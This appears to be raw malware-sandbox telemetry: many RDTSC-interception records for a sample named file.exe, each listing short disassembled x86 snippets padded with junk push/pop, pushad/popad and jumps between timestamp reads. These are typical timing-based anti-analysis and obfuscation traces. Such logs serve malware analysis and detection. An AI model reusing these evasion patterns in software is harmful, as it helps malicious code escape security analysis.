Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92DBC7 second address: 92DBE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6B550CB10Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92DBE2 second address: 92DBE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92DBE6 second address: 92DBEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92DBEA second address: 92DBF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92DBF0 second address: 92DBF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 937F9D second address: 937FCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6B55D157CAh 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 jmp 00007F6B55D157D4h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 937FCA second address: 937FD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 937FD0 second address: 937FD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F02E second address: 93F078 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6B550CB111h 0x0000000f pushad 0x00000010 jmp 00007F6B550CB118h 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007F6B550CB113h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94D29A second address: 94D2B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B55D157D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94D2B5 second address: 94D2D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB115h 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F6B550CB106h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94D2D6 second address: 94D2DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 951EB0 second address: 951EB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 951A4E second address: 951A53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A9A3 second address: 96A9A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A9A7 second address: 96A9D7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F6B55D157E7h 0x0000000c jmp 00007F6B55D157CEh 0x00000011 jmp 00007F6B55D157D3h 0x00000016 push ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 969A7E second address: 969A84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 969A84 second address: 969A88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 969A88 second address: 969A8E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 969A8E second address: 969A93 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 969BF7 second address: 969BFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 969EA3 second address: 969EAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 969EAB second address: 969EBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F6B550CB106h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 969EBB second address: 969EC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 969EC8 second address: 969ECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A2BA second address: 96A2C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A2C0 second address: 96A2C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A2C4 second address: 96A2C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A430 second address: 96A472 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB114h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F6B550CB123h 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A472 second address: 96A478 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96D467 second address: 96D46B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96D46B second address: 96D46F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96D46F second address: 96D484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jbe 00007F6B550CB106h 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96D75F second address: 96D763 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971FF0 second address: 972004 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6B550CB108h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jp 00007F6B550CB106h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4970061 second address: 4970067 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4970067 second address: 497006B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 497006B second address: 49700AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B55D157CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F6B55D157CBh 0x00000015 adc esi, 50972DAEh 0x0000001b jmp 00007F6B55D157D9h 0x00000020 popfd 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950DAE second address: 4950DC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B550CB110h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A013B second address: 49A01AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F6B55D157D4h 0x00000011 call 00007F6B55D157D2h 0x00000016 jmp 00007F6B55D157D2h 0x0000001b pop eax 0x0000001c popad 0x0000001d mov dword ptr [esp], ebp 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 pushfd 0x00000024 jmp 00007F6B55D157CDh 0x00000029 adc si, A056h 0x0000002e jmp 00007F6B55D157D1h 0x00000033 popfd 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A01AC second address: 49A01CD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 movzx eax, bx 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F6B550CB110h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A01CD second address: 49A01D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A01D2 second address: 49A01F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 call 00007F6B550CB113h 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A01F5 second address: 49A01F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A01F9 second address: 49A01FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4930108 second address: 4930118 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B55D157CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4930118 second address: 493017E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB10Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F6B550CB116h 0x00000011 push eax 0x00000012 jmp 00007F6B550CB10Bh 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 mov si, FAEBh 0x0000001d pushfd 0x0000001e jmp 00007F6B550CB110h 0x00000023 xor esi, 797CAB78h 0x00000029 jmp 00007F6B550CB10Bh 0x0000002e popfd 0x0000002f popad 0x00000030 mov ebp, esp 0x00000032 pushad 0x00000033 pushad 0x00000034 pushad 0x00000035 popad 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 493017E second address: 49301B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov cl, D8h 0x00000007 popad 0x00000008 push dword ptr [ebp+04h] 0x0000000b jmp 00007F6B55D157D9h 0x00000010 push dword ptr [ebp+0Ch] 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F6B55D157CAh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950A9D second address: 4950AA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49505C3 second address: 49505C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49505C9 second address: 49505E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a mov ch, FAh 0x0000000c mov bx, 8072h 0x00000010 popad 0x00000011 mov dword ptr [esp], ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49505E3 second address: 49505F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B55D157CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950503 second address: 4950526 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB115h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov esi, edx 0x0000000f mov ax, di 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960150 second address: 4960154 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960154 second address: 496015A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 496015A second address: 496016B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ebx, eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 496016B second address: 496016F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 496016F second address: 4960175 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960175 second address: 496021F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6B550CB114h 0x00000009 or cl, 00000078h 0x0000000c jmp 00007F6B550CB10Bh 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F6B550CB118h 0x00000018 sbb esi, 153184D8h 0x0000001e jmp 00007F6B550CB10Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 push eax 0x00000028 pushad 0x00000029 mov bx, FBFAh 0x0000002d jmp 00007F6B550CB10Bh 0x00000032 popad 0x00000033 xchg eax, ebp 0x00000034 jmp 00007F6B550CB116h 0x00000039 mov ebp, esp 0x0000003b jmp 00007F6B550CB110h 0x00000040 pop ebp 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F6B550CB117h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0008 second address: 49A000C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A000C second address: 49A0012 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0012 second address: 49A004B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6B55D157D8h 0x00000009 or cx, 6788h 0x0000000e jmp 00007F6B55D157CBh 0x00000013 popfd 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A004B second address: 49A005D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 movsx edx, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A005D second address: 49A0061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0061 second address: 49A007B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB116h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A007B second address: 49A00BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B55D157CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F6B55D157CBh 0x00000013 adc ax, 668Eh 0x00000018 jmp 00007F6B55D157D9h 0x0000001d popfd 0x0000001e mov ebx, ecx 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A00BC second address: 49A00C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A00C2 second address: 49A00F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B55D157CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F6B55D157D6h 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 movsx edx, si 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A00F9 second address: 49A00FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4970387 second address: 497038C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 497038C second address: 4970392 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4970392 second address: 4970396 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4970396 second address: 49703F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007F6B550CB112h 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007F6B550CB110h 0x00000016 mov ebp, esp 0x00000018 jmp 00007F6B550CB110h 0x0000001d mov eax, dword ptr [ebp+08h] 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F6B550CB117h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49703F2 second address: 4970481 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6B55D157CFh 0x00000009 xor ah, 0000003Eh 0x0000000c jmp 00007F6B55D157D9h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F6B55D157D0h 0x00000018 adc ch, 00000038h 0x0000001b jmp 00007F6B55D157CBh 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 and dword ptr [eax], 00000000h 0x00000027 jmp 00007F6B55D157D6h 0x0000002c and dword ptr [eax+04h], 00000000h 0x00000030 jmp 00007F6B55D157D0h 0x00000035 pop ebp 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F6B55D157CAh 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4970481 second address: 4970490 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB10Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950443 second address: 495045C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B55D157D5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495045C second address: 495047A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB111h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495047A second address: 4950481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950481 second address: 4950487 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960F27 second address: 4960F2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960F2D second address: 4960F31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960F31 second address: 4960F48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6B55D157CAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960F48 second address: 4960F4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960F4E second address: 4960F61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, FBh 0x00000005 mov esi, edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960F61 second address: 4960F7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB118h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960F7D second address: 4960F83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960F83 second address: 4960F87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960F87 second address: 4960FB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B55D157CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F6B55D157CEh 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F6B55D157CAh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960FB9 second address: 4960FC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB10Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960FC8 second address: 4960FE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B55D157D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960FE0 second address: 4960FE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
